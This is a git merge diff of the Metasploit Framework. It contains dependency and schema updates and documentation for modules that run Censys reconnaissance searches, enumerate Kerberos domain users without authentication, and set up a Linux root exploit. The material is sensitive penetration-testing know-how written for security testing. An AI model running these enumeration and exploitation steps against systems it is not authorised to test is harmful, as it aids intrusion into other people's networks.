Merge 'upstream/master' into universal-handlers
commit
c606eabbb9
|
@ -1 +1 @@
|
||||||
2.3.1
|
2.3.2
|
||||||
|
|
|
@ -10,7 +10,7 @@ addons:
|
||||||
- graphviz
|
- graphviz
|
||||||
language: ruby
|
language: ruby
|
||||||
rvm:
|
rvm:
|
||||||
- '2.3.1'
|
- '2.3.2'
|
||||||
|
|
||||||
env:
|
env:
|
||||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||||
|
|
42
Gemfile.lock
42
Gemfile.lock
|
@ -1,7 +1,7 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.12.40)
|
metasploit-framework (4.13.1)
|
||||||
actionpack (~> 4.2.6)
|
actionpack (~> 4.2.6)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -14,9 +14,9 @@ PATH
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-credential
|
metasploit-credential
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit-payloads (= 1.1.26)
|
metasploit-payloads (= 1.2.1)
|
||||||
metasploit_data_models
|
metasploit_data_models
|
||||||
metasploit_payloads-mettle (= 0.0.8)
|
metasploit_payloads-mettle (= 0.1.2)
|
||||||
msgpack
|
msgpack
|
||||||
nessus_rest
|
nessus_rest
|
||||||
net-ssh
|
net-ssh
|
||||||
|
@ -89,7 +89,8 @@ GEM
|
||||||
minitest (~> 5.1)
|
minitest (~> 5.1)
|
||||||
thread_safe (~> 0.3, >= 0.3.4)
|
thread_safe (~> 0.3, >= 0.3.4)
|
||||||
tzinfo (~> 1.1)
|
tzinfo (~> 1.1)
|
||||||
addressable (2.4.0)
|
addressable (2.5.0)
|
||||||
|
public_suffix (~> 2.0, >= 2.0.2)
|
||||||
arel (6.0.3)
|
arel (6.0.3)
|
||||||
arel-helpers (2.3.0)
|
arel-helpers (2.3.0)
|
||||||
activerecord (>= 3.1.0, < 6)
|
activerecord (>= 3.1.0, < 6)
|
||||||
|
@ -152,11 +153,11 @@ GEM
|
||||||
loofah (2.0.3)
|
loofah (2.0.3)
|
||||||
nokogiri (>= 1.5.9)
|
nokogiri (>= 1.5.9)
|
||||||
metasm (1.0.2)
|
metasm (1.0.2)
|
||||||
metasploit-concern (2.0.1)
|
metasploit-concern (2.0.2)
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-credential (2.0.4)
|
metasploit-credential (2.0.7)
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit_data_models
|
metasploit_data_models
|
||||||
|
@ -164,12 +165,12 @@ GEM
|
||||||
railties
|
railties
|
||||||
rubyntlm
|
rubyntlm
|
||||||
rubyzip
|
rubyzip
|
||||||
metasploit-model (2.0.0)
|
metasploit-model (2.0.2)
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-payloads (1.1.26)
|
metasploit-payloads (1.2.1)
|
||||||
metasploit_data_models (2.0.5)
|
metasploit_data_models (2.0.8)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
@ -179,7 +180,7 @@ GEM
|
||||||
postgres_ext
|
postgres_ext
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
recog (~> 2.0)
|
recog (~> 2.0)
|
||||||
metasploit_payloads-mettle (0.0.8)
|
metasploit_payloads-mettle (0.1.2)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (3.1)
|
mime-types (3.1)
|
||||||
mime-types-data (~> 3.2015)
|
mime-types-data (~> 3.2015)
|
||||||
|
@ -195,8 +196,8 @@ GEM
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.6.8.1)
|
nokogiri (1.6.8.1)
|
||||||
mini_portile2 (~> 2.1.0)
|
mini_portile2 (~> 2.1.0)
|
||||||
octokit (4.3.0)
|
octokit (4.6.1)
|
||||||
sawyer (~> 0.7.0, >= 0.5.3)
|
sawyer (~> 0.8.0, >= 0.5.3)
|
||||||
openssl-ccm (1.2.1)
|
openssl-ccm (1.2.1)
|
||||||
openvas-omp (0.0.4)
|
openvas-omp (0.0.4)
|
||||||
packetfu (1.1.11)
|
packetfu (1.1.11)
|
||||||
|
@ -214,7 +215,8 @@ GEM
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
method_source (~> 0.8.1)
|
method_source (~> 0.8.1)
|
||||||
slop (~> 3.4)
|
slop (~> 3.4)
|
||||||
rack (1.6.4)
|
public_suffix (2.0.4)
|
||||||
|
rack (1.6.5)
|
||||||
rack-test (0.6.3)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
rails-deprecated_sanitizer (1.0.3)
|
rails-deprecated_sanitizer (1.0.3)
|
||||||
|
@ -232,7 +234,7 @@ GEM
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (11.3.0)
|
rake (11.3.0)
|
||||||
rb-readline-r7 (0.5.2.0)
|
rb-readline-r7 (0.5.2.0)
|
||||||
recog (2.0.22)
|
recog (2.0.24)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.3.4)
|
redcarpet (3.3.4)
|
||||||
rex-arch (0.1.2)
|
rex-arch (0.1.2)
|
||||||
|
@ -248,7 +250,7 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
rex-text
|
rex-text
|
||||||
rex-exploitation (0.1.1)
|
rex-exploitation (0.1.2)
|
||||||
jsobfu
|
jsobfu
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
|
@ -271,13 +273,13 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-core
|
rex-core
|
||||||
rex-text
|
rex-text
|
||||||
rex-socket (0.1.0)
|
rex-socket (0.1.1)
|
||||||
rex-core
|
rex-core
|
||||||
rex-sslscan (0.1.0)
|
rex-sslscan (0.1.0)
|
||||||
rex-socket
|
rex-socket
|
||||||
rex-text
|
rex-text
|
||||||
rex-struct2 (0.1.0)
|
rex-struct2 (0.1.0)
|
||||||
rex-text (0.2.4)
|
rex-text (0.2.5)
|
||||||
rex-zip (0.1.0)
|
rex-zip (0.1.0)
|
||||||
rex-text
|
rex-text
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
|
@ -301,8 +303,8 @@ GEM
|
||||||
rspec-support (3.5.0)
|
rspec-support (3.5.0)
|
||||||
rubyntlm (0.6.1)
|
rubyntlm (0.6.1)
|
||||||
rubyzip (1.2.0)
|
rubyzip (1.2.0)
|
||||||
sawyer (0.7.0)
|
sawyer (0.8.0)
|
||||||
addressable (>= 2.3.5, < 2.5)
|
addressable (>= 2.3.5, < 2.6)
|
||||||
faraday (~> 0.8, < 0.10)
|
faraday (~> 0.8, < 0.10)
|
||||||
shoulda-matchers (3.1.1)
|
shoulda-matchers (3.1.1)
|
||||||
activesupport (>= 4.0.0)
|
activesupport (>= 4.0.0)
|
||||||
|
@ -319,7 +321,7 @@ GEM
|
||||||
timecop (0.8.1)
|
timecop (0.8.1)
|
||||||
tzinfo (1.2.2)
|
tzinfo (1.2.2)
|
||||||
thread_safe (~> 0.1)
|
thread_safe (~> 0.1)
|
||||||
tzinfo-data (1.2016.8)
|
tzinfo-data (1.2016.9)
|
||||||
tzinfo (>= 1.0.0)
|
tzinfo (>= 1.0.0)
|
||||||
windows_error (0.0.2)
|
windows_error (0.0.2)
|
||||||
xpath (2.0.0)
|
xpath (2.0.0)
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,7 @@
|
||||||
#
|
#
|
||||||
# It's strongly recommended that you check this file into your version control system.
|
# It's strongly recommended that you check this file into your version control system.
|
||||||
|
|
||||||
ActiveRecord::Schema.define(version: 20161004165612) do
|
ActiveRecord::Schema.define(version: 20161107203710) do
|
||||||
|
|
||||||
# These are extensions that must be enabled in order to support this database
|
# These are extensions that must be enabled in order to support this database
|
||||||
enable_extension "plpgsql"
|
enable_extension "plpgsql"
|
||||||
|
@ -320,7 +320,8 @@ ActiveRecord::Schema.define(version: 20161004165612) do
|
||||||
t.string "jtr_format"
|
t.string "jtr_format"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree
|
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
|
||||||
|
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
|
||||||
|
|
||||||
create_table "metasploit_credential_publics", force: :cascade do |t|
|
create_table "metasploit_credential_publics", force: :cascade do |t|
|
||||||
t.string "username", null: false
|
t.string "username", null: false
|
||||||
|
|
|
@ -0,0 +1,214 @@
|
||||||
|
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: `use auxiliary/gather/censys_search`
|
||||||
|
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX`
|
||||||
|
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`
|
||||||
|
4. Do: `set CENSYS_SEARCHTYPE certificates`
|
||||||
|
5: Do: `set CENSYS_DORK rapid7`
|
||||||
|
6: Do: `run`
|
||||||
|
|
||||||
|
## Sample Output
|
||||||
|
|
||||||
|
#### Certificates Search
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||||
|
CENSYS_DORK => rapid7
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
|
||||||
|
CENSYS_SEARCHTYPE => certificates
|
||||||
|
...
|
||||||
|
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||||
|
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||||
|
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### IPv4 Search
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||||
|
CENSYS_DORK => rapid7
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
|
||||||
|
CENSYS_SEARCHTYPE => ipv4
|
||||||
|
[*] 197.117.5.36 - 443/https
|
||||||
|
[*] 208.118.237.81 - 443/https
|
||||||
|
[*] 206.19.237.19 - 443/https
|
||||||
|
[*] 54.214.49.70 - 80/http,443/https
|
||||||
|
[*] 208.118.237.241 - 443/https
|
||||||
|
[*] 162.220.246.141 - 443/https,22/ssh,80/http
|
||||||
|
[*] 31.214.157.19 - 443/https,22/ssh
|
||||||
|
[*] 52.88.1.225 - 443/https,22/ssh
|
||||||
|
[*] 208.118.227.12 - 25/smtp
|
||||||
|
[*] 38.107.201.41 - 443/https
|
||||||
|
[*] 52.44.56.126 - 80/http,443/https
|
||||||
|
[*] 52.54.227.6 - 443/https,80/http
|
||||||
|
[*] 23.217.253.242 - 443/https,80/http
|
||||||
|
[*] 96.6.3.45 - 80/http,443/https
|
||||||
|
[*] 23.6.73.47 - 443/https,80/http
|
||||||
|
[*] 23.78.99.243 - 80/http,443/https
|
||||||
|
[*] 23.53.51.170 - 80/http,443/https
|
||||||
|
[*] 23.62.201.47 - 443/https,80/http
|
||||||
|
[*] 2.23.50.157 - 443/https,80/http
|
||||||
|
[*] 118.215.191.13 - 80/http,443/https
|
||||||
|
[*] 2.19.185.28 - 80/http,443/https
|
||||||
|
[*] 2.18.195.99 - 443/https,80/http
|
||||||
|
[*] 23.197.196.25 - 443/https,80/http
|
||||||
|
[*] 95.100.104.181 - 443/https,80/http
|
||||||
|
[*] 2.20.37.130 - 80/http,443/https
|
||||||
|
[*] 23.194.237.34 - 443/https,80/http
|
||||||
|
[*] 2.17.140.86 - 443/https,80/http
|
||||||
|
[*] 64.125.235.5 - 25/smtp
|
||||||
|
[*] 208.118.227.32 - 80/http
|
||||||
|
[*] 2.21.129.149 - 80/http,443/https
|
||||||
|
[*] 2.20.167.33 - 80/http,443/https
|
||||||
|
[*] 95.100.139.218 - 80/http,443/https
|
||||||
|
[*] 23.38.88.202 - 443/https,80/http
|
||||||
|
[*] 2.17.184.80 - 443/https,80/http
|
||||||
|
[*] 23.59.119.23 - 80/http,443/https
|
||||||
|
[*] 2.16.14.225 - 443/https,80/http
|
||||||
|
[*] 104.113.122.33 - 443/https,80/http
|
||||||
|
[*] 23.223.44.164 - 80/http,443/https
|
||||||
|
[*] 88.221.120.214 - 443/https,80/http
|
||||||
|
[*] 23.47.36.145 - 443/https,80/http
|
||||||
|
[*] 2.23.21.254 - 80/http,443/https
|
||||||
|
[*] 208.118.237.39 - 443/https
|
||||||
|
[*] 208.118.237.40 - 443/https
|
||||||
|
[*] 208.118.237.41 - 443/https
|
||||||
|
[*] 23.54.217.47 - 80/http,443/https
|
||||||
|
[*] 96.17.254.188 - 443/https,80/http
|
||||||
|
[*] 184.25.129.65 - 443/https,80/http
|
||||||
|
[*] 104.121.167.123 - 443/https,80/http
|
||||||
|
[*] 104.94.110.63 - 443/https,80/http
|
||||||
|
[*] 104.91.11.216 - 80/http,443/https
|
||||||
|
[*] 23.38.233.47 - 80/http,443/https
|
||||||
|
[*] 52.86.110.89 - 80/http,443/https
|
||||||
|
[*] 69.192.73.47 - 443/https,80/http
|
||||||
|
[*] 184.86.57.47 - 443/https,80/http
|
||||||
|
[*] 104.86.45.180 - 443/https,80/http
|
||||||
|
[*] 184.87.72.153 - 80/http,443/https
|
||||||
|
[*] 23.66.25.47 - 80/http,443/https
|
||||||
|
[*] 23.56.162.76 - 80/http,443/https
|
||||||
|
[*] 184.87.133.242 - 443/https,80/http
|
||||||
|
[*] 23.55.74.28 - 80/http,443/https
|
||||||
|
[*] 23.6.225.84 - 80/http,443/https
|
||||||
|
[*] 23.46.133.153 - 443/https,80/http
|
||||||
|
[*] 23.10.121.47 - 443/https,80/http
|
||||||
|
[*] 104.109.35.169 - 80/http,443/https
|
||||||
|
[*] 172.227.101.182 - 80/http,443/https
|
||||||
|
[*] 184.27.23.104 - 80/http,443/https
|
||||||
|
[*] 23.49.185.47 - 80/http,443/https
|
||||||
|
[*] 23.67.172.177 - 80/http,443/https
|
||||||
|
[*] 23.62.170.161 - 443/https,80/http
|
||||||
|
[*] 23.219.71.35 - 443/https,80/http
|
||||||
|
[*] 104.82.94.233 - 443/https,80/http
|
||||||
|
[*] 184.26.73.47 - 80/http,443/https
|
||||||
|
[*] 104.68.108.237 - 80/http,443/https
|
||||||
|
[*] 23.60.39.77 - 80/http,443/https
|
||||||
|
[*] 23.66.100.92 - 80/http,443/https
|
||||||
|
[*] 23.61.28.182 - 443/https,80/http
|
||||||
|
[*] 23.42.116.233 - 80/http,443/https
|
||||||
|
[*] 104.105.14.197 - 80/http,443/https
|
||||||
|
[*] 104.103.203.240 - 80/http,443/https
|
||||||
|
[*] 104.65.57.235 - 80/http,443/https
|
||||||
|
[*] 23.41.83.224 - 80/http,443/https
|
||||||
|
[*] 184.51.185.47 - 80/http,443/https
|
||||||
|
[*] 23.67.231.142 - 80/http,443/https
|
||||||
|
[*] 208.118.237.38 - 443/https
|
||||||
|
[*] 104.76.25.28 - 80/http,443/https
|
||||||
|
[*] 23.196.125.176 - 443/https,80/http
|
||||||
|
[*] 23.40.154.224 - 80/http,443/https
|
||||||
|
[*] 23.77.33.204 - 443/https,80/http
|
||||||
|
[*] 104.88.21.48 - 80/http,443/https
|
||||||
|
[*] 173.223.134.47 - 80/http,443/https
|
||||||
|
[*] 23.4.98.72 - 80/http,443/https
|
||||||
|
[*] 23.44.97.3 - 80/http,443/https
|
||||||
|
[*] 23.203.66.142 - 443/https,80/http
|
||||||
|
[*] 23.42.216.251 - 443/https,80/http
|
||||||
|
[*] 23.42.85.25 - 80/http,443/https
|
||||||
|
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
|
||||||
|
[*] 104.83.219.182 - 443/https,80/http
|
||||||
|
[*] 184.86.41.47 - 443/https,80/http
|
||||||
|
[*] 104.97.72.196 - 443/https,80/http
|
||||||
|
[*] 69.192.169.48 - 443/https,80/http
|
||||||
|
```
|
||||||
|
|
||||||
|
### Websites Search
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||||
|
CENSYS_DORK => rapid7
|
||||||
|
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
|
||||||
|
CENSYS_SEARCHTYPE => websites
|
||||||
|
msf auxiliary(censys_search) > run
|
||||||
|
|
||||||
|
[+] rapid7.com - [37743]
|
||||||
|
[+] logentries.com - [45346]
|
||||||
|
[+] venturefizz.com - [106102]
|
||||||
|
[+] gild.com - [116853]
|
||||||
|
[+] sectools.org - [122125]
|
||||||
|
[+] ericzhang.me - [155622]
|
||||||
|
[+] metasploit.com - [156435]
|
||||||
|
[+] datapipe.com - [209756]
|
||||||
|
[+] routerpwn.com - [317896]
|
||||||
|
[+] proxy-base.com - [507954]
|
||||||
|
[+] config.fr - [542346]
|
||||||
|
[+] winterwyman.com - [629471]
|
||||||
|
[+] gogrid.com - [741009]
|
||||||
|
[+] wesecure.nl - [997423]
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
1. https://censys.io/api
|
|
@ -0,0 +1,99 @@
|
||||||
|
The kerberos_enumusers module is used to enumerate valid Domain Users
|
||||||
|
via Kerberos from a wholly unauthenticated perspective. It utilises the
|
||||||
|
different responses returned by the service to identify users that exist
|
||||||
|
within the target domain. It is also able to identify whether user
|
||||||
|
accounts are enabled or disabled/locked out.
|
||||||
|
|
||||||
|
## Target
|
||||||
|
|
||||||
|
To use kerberos_enumusers, make sure you are able to connect to the
|
||||||
|
Kerberos service on a Domain Controller.
|
||||||
|
|
||||||
|
## Scenario
|
||||||
|
|
||||||
|
The following demonstrates basic usage, using a custom wordlist,
|
||||||
|
targeting a single Domain Controller to identify valid domain user
|
||||||
|
accounts.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/gather/kerberos_enumusers
|
||||||
|
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
|
||||||
|
DOMAIN => MYDOMAIN
|
||||||
|
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
|
||||||
|
RHOST => 192.168.5.1
|
||||||
|
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
|
||||||
|
USER_FILE => /job/users.txt
|
||||||
|
msf auxiliary(kerberos_enumusers) > run
|
||||||
|
|
||||||
|
[*] Validating options...
|
||||||
|
[*] Using domain: MYDOMAIN...
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "bob"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
|
||||||
|
pre-authentication required
|
||||||
|
[+] 192.168.5.1:88 - User: "bob" is present
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "alice"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
|
||||||
|
pre-authentication required
|
||||||
|
[+] 192.168.5.1:88 - User: "alice" is present
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "matt"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
|
||||||
|
pre-authentication required
|
||||||
|
[+] 192.168.5.1:88 - User: "matt" is present
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "guest"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
|
||||||
|
been revoked
|
||||||
|
[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "admint"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
|
||||||
|
Kerberos database
|
||||||
|
[*] 192.168.5.1:88 - User: "admint" does not exist
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "admin"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
|
||||||
|
Kerberos database
|
||||||
|
[*] 192.168.5.1:88 - User: "admin" does not exist
|
||||||
|
[*] 192.168.5.1:88 - Testing User: "administrator"...
|
||||||
|
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
|
||||||
|
Kerberos database
|
||||||
|
[*] 192.168.5.1:88 - User: "administrator" does not exist
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(kerberos_enumusers) >
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
The kerberos_enumusers module only requires the RHOST, DOMAIN and
|
||||||
|
USER_FILE options to run.
|
||||||
|
|
||||||
|
**The DOMAIN option**
|
||||||
|
|
||||||
|
This option is used to specify the target domain. If the domain name is
|
||||||
|
incorrect an error is returned and domain user account enumeration will fail.
|
||||||
|
|
||||||
|
An example of setting DOMAIN:
|
||||||
|
|
||||||
|
```
|
||||||
|
set DOMAIN [domain name]
|
||||||
|
```
|
||||||
|
|
||||||
|
**The USER_FILE option**
|
||||||
|
|
||||||
|
This option is used to specify the file containing a list of user names
|
||||||
|
to query the Domain Controller to identify if they exist in the target domain
|
||||||
|
or not. One per line.
|
||||||
|
|
||||||
|
An example of setting USER_FILE:
|
||||||
|
|
||||||
|
```
|
||||||
|
set USER_FILE [path to file]
|
||||||
|
```
|
||||||
|
|
||||||
|
**The Timeout option**
|
||||||
|
|
||||||
|
This option is used to specify the TCP timeout i.e. the time to wait
|
||||||
|
before a connection to the Domain Controller is established and data read.
|
||||||
|
|
||||||
|
An example of setting Timeout:
|
||||||
|
|
||||||
|
```
|
||||||
|
set Timeout [value in seconds]
|
||||||
|
```
|
|
@ -0,0 +1,167 @@
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
|
||||||
|
|
||||||
|
Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
|
||||||
|
|
||||||
|
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required.
|
||||||
|
|
||||||
|
As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted.
|
||||||
|
|
||||||
|
## Creating A Testing Environment
|
||||||
|
|
||||||
|
There are a few requirements for this module to work:
|
||||||
|
|
||||||
|
1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||||
|
2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
